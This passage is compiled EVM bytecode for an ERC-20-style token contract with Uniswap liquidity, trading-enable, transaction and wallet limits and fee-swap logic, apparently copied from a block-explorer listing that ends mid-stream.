5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200075f57816000190482111562000743576200074362000708565b808516156200075157918102915b93841c939080029062000723565b509250929050565b6000826200077857506001620004a8565b816200078757506000620004a8565b8160018114620007a05760028114620007ab57620007cb565b6001915050620004a8565b60ff841115620007bf57620007bf62000708565b50506001821b620004a8565b5060208310610133831016604e8410600b8410161715620007f0575081810a620004a8565b620007fc83836200071e565b806000190482111562000813576200081362000708565b029392505050565b6000620004a560ff84168362000767565b8082028115828204841417620004a857620004a862000708565b6000826200086457634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620004a857620004a862000708565b600060208083528351808285015260005b81811015620008ae5785810183015185820160400152820162000890565b506000604082860101526040601f19601f8301168501019250505092915050565b60805160a05161215862000903600039600081816102ca01526109780152600081816103bb01526109b301526121586000f3fe6080604052600436106102815760003560e01c806388790a681161014f578063a8b08982116100c1578063dc44b6a01161007a578063dc44b6a014610793578063dd62ed3e146107a9578063f0cd1dac146107ef578063f2fde38b14610805578063f680f79914610825578063f872858a1461083b57600080fd5b8063a8b08982146106d5578063a9059cbb146106f5578063c5d2418914610715578063c86079521461072b578063c867d60b14610741578063da00097d1461077157600080fd5b806395d89b411161011357806395d89b411461064d5780639865d01a1461066257806398e944c8146106775780639e78fb4f14610697578063a457c2d71461069f578063a7251ef6146106bf57600080fd5b806388790a68146105b45780638a8c523c146105ca5780638b42507f146105df5780638da5cb5b1461060f5780638ea5220f1461062d57600080fd5b80633ecad271116101f35780636c0a24eb116101ac5780636c0a24eb1461050557806370a082311461051b578063715018a6146105515780637d1db4a51461056857806382eefb431461057e578063852614851461059457600080fd5b80633ecad271146104345780634a74bb02146104645780634ada218b146104855780635194f9bf1461049f5780635342acb4146104b557806359927044146104e557600080fd5b806323555d571161024557806323555d571461037357806323b872dd1461038957806327c8f835146103a95780632b112e49146103dd578063313ce567146103f2578063395093511461041457600080fd5b806306fdde031461028d5780630930907b146102b8578063095ea7b3146103045780631694505e1461033457806318160ddd1461035457600080fd5b3661028857005b600080fd5b34801561029957600080fd5b506102a261085a565b6040516102af9190611d8b565b60405180910390f35b3480156102c457600080fd5b506102ec7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016102af565b34801561031057600080fd5b5061032461031f366004611df1565b6108ec565b60405190151581526020016102af565b34801561034057600080fd5b506001546102ec906001600160a01b031681565b34801561036057600080fd5b506010545b6040519081526020016102af565b34801561037f57600080fd5b50610365601a5481565b34801561039557600080fd5b506103246103a4366004611e1d565b610903565b3480156103b557600080fd5b506102ec7f000000000000000000000000000000000000000000000000000000000000000081565b3480156103e957600080fd5b5061036561096e565b3480156103fe57600080fd5b5060085460405160ff90911681526020016102af565b34801561042057600080fd5b5061032461042f366004611df1565b610a01565b34801561044057600080fd5b5061032461044f366004611e5e565b600d6020526000908152604090205460ff1681565b34801561047057600080fd5b50601754610324906301000000900460ff1681565b34801561049157600080fd5b50600b546103249060ff1681565b3480156104ab57600080fd5b50610365601d5481565b3480156104c157600080fd5b506103246104d0366004611e5e565b600c6020526000908152604090205460ff1681565b3480156104f157600080fd5b506003546102ec906001600160a01b031681565b34801561051157600080fd5b5061036560135481565b34801561052757600080fd5b50610365610536366004611e5e565b6001600160a01b031660009081526009602052604090205490565b34801561055d57600080fd5b50610566610a37565b005b34801561057457600080fd5b5061036560125481565b34801561058a57600080fd5b5061036560165481565b3480156105a057600080fd5b506017546103249062010000900460ff1681565b3480156105c057600080fd5b50610365601b5481565b3480156105d657600080fd5b50610566610aba565b3480156105eb57600080fd5b506103246105fa366004611e5e565b600f6020526000908152604090205460ff1681565b34801561061b57600080fd5b506000546001600160a01b03166102ec565b34801561063957600080fd5b506004546102ec906001600160a01b031681565b34801561065957600080fd5b506102a2610af3565b34801561066e57600080fd5b50610566610b02565b34801561068357600080fd5b506005546102ec906001600160a01b031681565b610566610b39565b3480156106ab57600080fd5b506103246106ba366004611df1565b610dfa565b3480156106cb57600080fd5b5061036560115481565b3480156106e157600080fd5b506002546102ec906001600160a01b031681565b34801561070157600080fd5b50610324610710366004611df1565b610e49565b34801561072157600080fd5b5061036560195481565b34801561073757600080fd5b50610365601c5481565b34801561074d57600080fd5b5061032461075c366004611e5e565b600e6020526000908152604090205460ff1681565b34801561077d57600080fd5b5060175461032490640100000000900460ff1681565b34801561079f57600080fd5b5061036560185481565b3480156107b557600080fd5b506103656107c4366004611e7b565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b3480156107fb57600080fd5b5061036560155481565b34801561081157600080fd5b50610566610820366004611e5e565b610e56565b34801561083157600080fd5b5061036560145481565b34801561084757600080fd5b5060175461032490610100900460ff1681565b60606006805461086990611eb4565b80601f016020809104026020016040519081016040528092919081815260200182805461089590611eb4565b80156108e25780601f106108b7576101008083540402835291602001916108e2565b820191906000526020600020905b8154815290600101906020018083116108c557829003601f168201915b5050505050905090565b60006108f9338484611063565b5060015b92915050565b6000610910848484611187565b50610963843361095e856040518060600160405280602881526020016120d6602891396001600160a01b038a166000908152600a602090815260408083203384529091529020549190611690565b611063565b5060015b9392505050565b6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000166000908152600960205260408120546109fc906109f66109ed7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031660009081526009602052604090205490565b601054906116ca565b906116ca565b905090565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916108f991859061095e9086611004565b6000546001600160a01b03163314610a6a5760405162461bcd60e51b8152600401610a6190611eee565b60405180910390fd5b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b03163314610ae45760405162461bcd60e51b8152600401610a6190611eee565b600b805460ff19166001179055565b60606007805461086990611eb4565b6000546001600160a01b03163314610b2c5760405162461bcd60e51b8152600401610a6190611eee565b6010546012819055601355565b6000546001600160a01b03163314610b635760405162461bcd60e51b8152600401610a6190611eee565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bde9190611f23565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4f9190611f23565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610c9c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cc09190611f23565b600280546001600160a01b039283166001600160a01b03199182161782556001805485851690831681178255306000818152600a602090815260408083209483529381528382206000199055865488168252600d8152838220805460ff199081168717909155875489168352600e82528483208054821687179055965488168252600f90529190912080549094168217909355600580549092163317909155549091169063f305d719903490610d8b816001600160a01b031660009081526009602052604090205490565b60008033426040518863ffffffff1660e01b8152600401610db196959493929190611f40565b60606040518083038185885af1158015610dcf573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610df49190611f7b565b50505050565b60006108f9338461095e856040518060600160405280602581526020016120fe60259139336000908152600a602090815260408083206001600160a01b038d1684529091529020549190611690565b6000610963338484611187565b6000546001600160a01b03163314610e805760405162461bcd60e51b8152600401610a6190611eee565b6001600160a01b038116610ee55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a61565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600082600003610f52575060006108fd565b6000610f5e8385611fbf565b905082610f6b8583611fd6565b146109675760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a61565b600061096783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061170c565b6000806110118385611ff8565b9050838110156109675760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a61565b6001600160a01b0383166110c55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a61565b6001600160a01b0382166111265760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a61565b6001600160a01b038381166000818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166111ed5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a61565b6001600160a01b03831661124f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a61565b6001600160a01b0384166000908152600c602052604090205460ff1615801561129157506001600160a01b0383166000908152600c602052604090205460ff16155b156112de57600b5460ff166112de5760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610a61565b6001600160a01b0384166000908152600c602052604090205460ff168061131d57506001600160a01b0383166000908152600c602052604090205460ff165b1561134a57611343848484611332888861173a565b61133c5785611793565b6000611793565b9050610967565b6001600160a01b0384166000908152600f602052604090205460ff1615801561138c57506001600160a01b0383166000908152600f602052604090205460ff16155b80156113a0575060175462010000900460ff165b15611408576012548211156114085760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610a61565b306000908152600960205260409020546011548110801590819061142f575060175460ff16155b801561145457506001600160a01b0386166000908152600d602052604090205460ff16155b801561146957506017546301000000900460ff165b1561149057601754640100000000900460ff16156114875760115491505b61149082611895565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600990915291909120546114e2918690611690565b6001600160a01b038716600090815260096020908152604080832093909355600c90529081205460ff168061152f57506001600160a01b0386166000908152600c602052604090205460ff165b6115435761153e878787611a50565b611545565b845b601754909150610100900460ff16801561157857506001600160a01b0386166000908152600e602052604090205460ff16155b15611605576013546115a9826115a3896001600160a01b031660009081526009602052604090205490565b90611004565b11156116055760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b6064820152608401610a61565b6001600160a01b0386166000908152600960205260409020546116289082611004565b6001600160a01b0380881660008181526009602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061167c9085815260200190565b60405180910390a360019350505050610967565b600081848411156116b45760405162461bcd60e51b8152600401610a619190611d8b565b5060006116c1848661200b565b95945050505050565b600061096783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611690565b6000818361172d5760405162461bcd60e51b8152600401610a619190611d8b565b5060006116c18486611fd6565b6002546000906001600160a01b03838116911614801561176757506004546001600160a01b038481169116145b801561177b57506001600160a01b03831615155b80156109675750506001600160a01b03161515919050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03871660009081526009909152918220546117e4918490611690565b6001600160a01b0380871660009081526009602052604080822093909355908616815220546118139084611004565b6001600160a01b03851660009081526009602052604081209190915582900361183d576103e86014555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161188291815260200190565b60405180910390a3506001949350505050565b6017805460ff191660011790556016546015546000916118b59190611004565b905060006118d0601b5460185461100490919063ffffffff16565b905060006118eb601c5460195461100490919063ffffffff16565b90506000611906600261190086818988610f40565b90610fc2565b9050600061191486836116ca565b90504761192082611b56565b600061192c47836116ca565b9050600061194561193e886002610fc2565b89906116ca565b9050600061195a60026119008481878d610f40565b905060006119818361190061197a6014548c610f4090919063ffffffff16565b8790610f40565b90506000611993826109f687866116ca565b905081156119d7576003546040516001600160a01b039091169083156108fc029084906000818181858888f193505050501580156119d5573d6000803e3d6000fd5b505b8015611a19576004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611a17573d6000803e3d6000fd5b505b600083118015611a295750600088115b15611a3857611a388884611ce9565b50506017805460ff1916905550505050505050505050565b6001600160a01b0383166000908152600d6020526040812054819060ff1615611a9457611a8d606461190060155486610f4090919063ffffffff16565b9050611ad2565b6001600160a01b0384166000908152600d602052604090205460ff1615611ad257611acf606461190060165486610f4090919063ffffffff16565b90505b8015611b4c5730600090815260096020526040902054611af29082611004565b30600081815260096020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611b439085815260200190565b60405180910390a35b6116c183826116ca565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611b8b57611b8b61201e565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611be4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c089190611f23565b81600181518110611c1b57611c1b61201e565b6001600160a01b039283166020918202929092010152600154611c419130911684611063565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac94790611c7a908590600090869030904290600401612078565b600060405180830381600087803b158015611c9457600080fd5b505af1158015611ca8573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611cdd9291906120b4565b60405180910390a15050565b600154611d019030906001600160a01b031684611063565b60015460055460405163f305d71960e01b81526001600160a01b039283169263f305d719928592611d419230928992600092839216904290600401611f40565b60606040518083038185885af1158015611d5f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611d849190611f7b565b5050505050565b600060208083528351808285015260005b81811015611db857858101830151858201604001528201611d9c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611dee57600080fd5b50565b60008060408385031215611e0457600080fd5b8235611e0f81611dd9565b946020939093013593505050565b600080600060608486031215611e3257600080fd5b8335611e3d81611dd9565b92506020840135611e4d81611dd9565b929592945050506040919091013590565b600060208284031215611e7057600080fd5b813561096781611dd9565b60008060408385031215611e8e57600080fd5b8235611e9981611dd9565b91506020830135611ea981611dd9565b809150509250929050565b600181811c90821680611ec857607f821691505b602082108103611ee857634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611f3557600080fd5b815161096781611dd9565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600080600060608486031215611f9057600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176108fd576108fd611fa9565b600082611ff357634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156108fd576108fd611fa9565b818103818111156108fd576108fd611fa9565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b8381101561206d5781516001600160a01b031687529582019590820190600101612048565b509495945050505050565b85815284602082015260a06040820152600061209760a0830186612034565b6001600160a01b0394909416606083015250608001529392505050565b8281526040602082015260006120cd6040830184612034565b94935050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220060b7fae53b68fb53a52f1374ac1aa16c14069473c4c94f8ccf893d3465e12fb64736f6c63430008120033

Deployed Bytecode

0x6080604052600436106102815760003560e01c806388790a681161014f578063a8b08982116100c1578063dc44b6a01161007a578063dc44b6a014610793578063dd62ed3e146107a9578063f0cd1dac146107ef578063f2fde38b14610805578063f680f79914610825578063f872858a1461083b57600080fd5b8063a8b08982146106d5578063a9059cbb146106f5578063c5d2418914610715578063c86079521461072b578063c867d60b14610741578063da00097d1461077157600080fd5b806395d89b411161011357806395d89b411461064d5780639865d01a1461066257806398e944c8146106775780639e78fb4f14610697578063a457c2d71461069f578063a7251ef6146106bf57600080fd5b806388790a68146105b45780638a8c523c146105ca5780638b42507f146105df5780638da5cb5b1461060f5780638ea5220f1461062d57600080fd5b80633ecad271116101f35780636c0a24eb116101ac5780636c0a24eb1461050557806370a082311461051b578063715018a6146105515780637d1db4a51461056857806382eefb431461057e578063852614851461059457600080fd5b80633ecad271146104345780634a74bb02146104645780634ada218b146104855780635194f9bf1461049f5780635342acb4146104b557806359927044146104e557600080fd5b806323555d571161024557806323555d571461037357806323b872dd1461038957806327c8f835146103a95780632b112e49146103dd578063313ce567146103f2578063395093511461041457600080fd5b806306fdde031461028d5780630930907b146102b8578063095ea7b3146103045780631694505e1461033457806318160ddd1461035457600080fd5b3661028857005b600080fd5b34801561029957600080fd5b506102a261085a565b6040516102af9190611d8b565b60405180910390f35b3480156102c457600080fd5b506102ec7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016102af565b34801561031057600080fd5b5061032461031f366004611df1565b6108ec565b60405190151581526020016102af565b34801561034057600080fd5b506001546102ec906001600160a01b031681565b34801561036057600080fd5b506010545b6040519081526020016102af565b34801561037f57600080fd5b50610365601a5481565b34801561039557600080fd5b506103246103a4366004611e1d565b610903565b3480156103b557600080fd5b506102ec7f000000000000000000000000000000000000000000000000000000000000dead81565b3480156103e957600080fd5b5061036561096e565b3480156103fe57600080fd5b5060085460405160ff90911681526020016102af565b34801561042057600080fd5b5061032461042f366004611df1565b610a01565b34801561044057600080fd5b5061032461044f366004611e5e565b600d6020526000908152604090205460ff1681565b34801561047057600080fd5b50601754610324906301000000900460ff1681565b34801561049157600080fd5b50600b546103249060ff1681565b3480156104ab57600080fd5b50610365601d5481565b3480156104c157600080fd5b506103246104d0366004611e5e565b600c6020526000908152604090205460ff1681565b3480156104f157600080fd5b506003546102ec906001600160a01b031681565b34801561051157600080fd5b5061036560135481565b34801561052757600080fd5b50610365610536366004611e5e565b6001600160a01b031660009081526009602052604090205490565b34801561055d57600080fd5b50610566610a37565b005b34801561057457600080fd5b5061036560125481565b34801561058a57600080fd5b5061036560165481565b3480156105a057600080fd5b506017546103249062010000900460ff1681565b3480156105c057600080fd5b50610365601b5481565b3480156105d657600080fd5b50610566610aba565b3480156105eb57600080fd5b506103246105fa366004611e5e565b600f6020526000908152604090205460ff1681565b34801561061b57600080fd5b506000546001600160a01b03166102ec565b34801561063957600080fd5b506004546102ec906001600160a01b031681565b34801561065957600080fd5b506102a2610af3565b34801561066e57600080fd5b50610566610b02565b34801561068357600080fd5b506005546102ec906001600160a01b031681565b610566610b39565b3480156106ab57600080fd5b506103246106ba366004611df1565b610dfa565b3480156106cb57600080fd5b5061036560115481565b3480156106e157600080fd5b506002546102ec906001600160a01b031681565b34801561070157600080fd5b50610324610710366004611df1565b610e49565b34801561072157600080fd5b5061036560195481565b34801561073757600080fd5b50610365601c5481565b34801561074d57600080fd5b5061032461075c366004611e5e565b600e6020526000908152604090205460ff1681565b34801561077d57600080fd5b5060175461032490640100000000900460ff1681565b34801561079f57600080fd5b5061036560185481565b3480156107b557600080fd5b506103656107c4366004611e7b565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b3480156107fb57600080fd5b5061036560155481565b34801561081157600080fd5b50610566610820366004611e5e565b610e56565b34801561083157600080fd5b5061036560145481565b34801561084757600080fd5b5060175461032490610100900460ff1681565b60606006805461086990611eb4565b80601f016020809104026020016040519081016040528092919081815260200182805461089590611eb4565b80156108e25780601f106108b7576101008083540402835291602001916108e2565b820191906000526020600020905b8154815290600101906020018083116108c557829003601f168201915b5050505050905090565b60006108f9338484611063565b5060015b92915050565b6000610910848484611187565b50610963843361095e856040518060600160405280602881526020016120d6602891396001600160a01b038a166000908152600a602090815260408083203384529091529020549190611690565b611063565b5060015b9392505050565b6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000166000908152600960205260408120546109fc906109f66109ed7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b031660009081526009602052604090205490565b601054906116ca565b906116ca565b905090565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916108f991859061095e9086611004565b6000546001600160a01b03163314610a6a5760405162461bcd60e51b8152600401610a6190611eee565b60405180910390fd5b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b03163314610ae45760405162461bcd60e51b8152600401610a6190611eee565b600b805460ff19166001179055565b60606007805461086990611eb4565b6000546001600160a01b03163314610b2c5760405162461bcd60e51b8152600401610a6190611eee565b6010546012819055601355565b6000546001600160a01b03163314610b635760405162461bcd60e51b8152600401610a6190611eee565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bde9190611f23565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4f9190611f23565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610c9c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cc09190611f23565b600280546001600160a01b039283166001600160a01b03199182161782556001805485851690831681178255306000818152600a602090815260408083209483529381528382206000199055865488168252600d8152838220805460ff199081168717909155875489168352600e82528483208054821687179055965488168252600f90529190912080549094168217909355600580549092163317909155549091169063f305d719903490610d8b816001600160a01b031660009081526009602052604090205490565b60008033426040518863ffffffff1660e01b8152600401610db196959493929190611f40565b60606040518083038185885af1158015610dcf573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610df49190611f7b565b50505050565b60006108f9338461095e856040518060600160405280602581526020016120fe60259139336000908152600a602090815260408083206001600160a01b038d1684529091529020549190611690565b6000610963338484611187565b6000546001600160a01b03163314610e805760405162461bcd60e51b8152600401610a6190611eee565b6001600160a01b038116610ee55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a61565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600082600003610f52575060006108fd565b6000610f5e8385611fbf565b905082610f6b8583611fd6565b146109675760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a61565b600061096783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061170c565b6000806110118385611ff8565b9050838110156109675760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a61565b6001600160a01b0383166110c55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a61565b6001600160a01b0382166111265760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a61565b6001600160a01b038381166000818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166111ed5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a61565b6001600160a01b03831661124f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a61565b6001600160a01b0384166000908152600c602052604090205460ff1615801561129157506001600160a01b0383166000908152600c602052604090205460ff16155b156112de57600b5460ff166112de5760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610a61565b6001600160a01b0384166000908152600c602052604090205460ff168061131d57506001600160a01b0383166000908152600c602052604090205460ff165b1561134a57611343848484611332888861173a565b61133c5785611793565b6000611793565b9050610967565b6001600160a01b0384166000908152600f602052604090205460ff1615801561138c57506001600160a01b0383166000908152600f602052604090205460ff16155b80156113a0575060175462010000900460ff165b15611408576012548211156114085760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610a61565b306000908152600960205260409020546011548110801590819061142f575060175460ff16155b801561145457506001600160a01b0386166000908152600d602052604090205460ff16155b801561146957506017546301000000900460ff165b1561149057601754640100000000900460ff16156114875760115491505b61149082611895565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600990915291909120546114e2918690611690565b6001600160a01b038716600090815260096020908152604080832093909355600c90529081205460ff168061152f57506001600160a01b0386166000908152600c602052604090205460ff165b6115435761153e878787611a50565b611545565b845b601754909150610100900460ff16801561157857506001600160a01b0386166000908152600e602052604090205460ff16155b15611605576013546115a9826115a3896001600160a01b031660009081526009602052604090205490565b90611004565b11156116055760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b6064820152608401610a61565b6001600160a01b0386166000908152600960205260409020546116289082611004565b6001600160a01b0380881660008181526009602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061167c9085815260200190565b60405180910390a360019350505050610967565b600081848411156116b45760405162461bcd60e51b8152600401610a619190611d8b565b5060006116c1848661200b565b95945050505050565b600061096783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611690565b6000818361172d5760405162461bcd60e51b8152600401610a619190611d8b565b5060006116c18486611fd6565b6002546000906001600160a01b03838116911614801561176757506004546001600160a01b038481169116145b801561177b57506001600160a01b03831615155b80156109675750506001600160a01b03161515919050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03871660009081526009909152918220546117e4918490611690565b6001600160a01b0380871660009081526009602052604080822093909355908616815220546118139084611004565b6001600160a01b03851660009081526009602052604081209190915582900361183d576103e86014555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161188291815260200190565b60405180910390a3506001949350505050565b6017805460ff191660011790556016546015546000916118b59190611004565b905060006118d0601b5460185461100490919063ffffffff16565b905060006118eb601c5460195461100490919063ffffffff16565b90506000611906600261190086818988610f40565b90610fc2565b9050600061191486836116ca565b90504761192082611b56565b600061192c47836116ca565b9050600061194561193e886002610fc2565b89906116ca565b9050600061195a60026119008481878d610f40565b905060006119818361190061197a6014548c610f4090919063ffffffff16565b8790610f40565b90506000611993826109f687866116ca565b905081156119d7576003546040516001600160a01b039091169083156108fc029084906000818181858888f193505050501580156119d5573d6000803e3d6000fd5b505b8015611a19576004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611a17573d6000803e3d6000fd5b505b600083118015611a295750600088115b15611a3857611a388884611ce9565b50506017805460ff1916905550505050505050505050565b6001600160a01b0383166000908152600d6020526040812054819060ff1615611a9457611a8d606461190060155486610f4090919063ffffffff16565b9050611ad2565b6001600160a01b0384166000908152600d602052604090205460ff1615611ad257611acf606461190060165486610f4090919063ffffffff16565b90505b8015611b4c5730600090815260096020526040902054611af29082611004565b30600081815260096020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611b439085815260200190565b60405180910390a35b6116c183826116ca565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611b8b57611b8b61201e565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611be4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c089190611f23565b81600181518110611c1b57611c1b61201e565b6001600160a01b039283166020918202929092010152600154611c419130911684611063565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac94790611c7a908590600090869030904290600401612078565b600060405180830381600087803b158015611c9457600080fd5b505af1158015611ca8573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611cdd9291906120b4565b60405180910390a15050565b600154611d019030906001600160a01b031684611063565b60015460055460405163f305d71960e01b81526001600160a01b039283169263f305d719928592611d419230928992600092839216904290600401611f40565b60606040518083038185885af1158015611d5f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611d849190611f7b565b5050505050565b600060208083528351808285015260005b81811015611db857858101830151858201604001528201611d9c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611dee57600080fd5b50565b60008060408385031215611e0457600080fd5b8235611e0f81611dd9565b946020939093013593505050565b600080600060608486031215611e3257600080fd5b8335611e3d81611dd9565b92506020840135611e4d81611dd9565b929592945050506040919091013590565b600060208284031215611e7057600080fd5b813561096781611dd9565b60008060408385031215611e8e57600080fd5b8235611e9981611dd9565b91506020830135611ea981611dd9565b809150509250929050565b600181811c90821680611ec857607f821691505b602082108103611ee857634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611f3557600080fd5b815161096781611dd9565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600080600060608486031215611f9057600080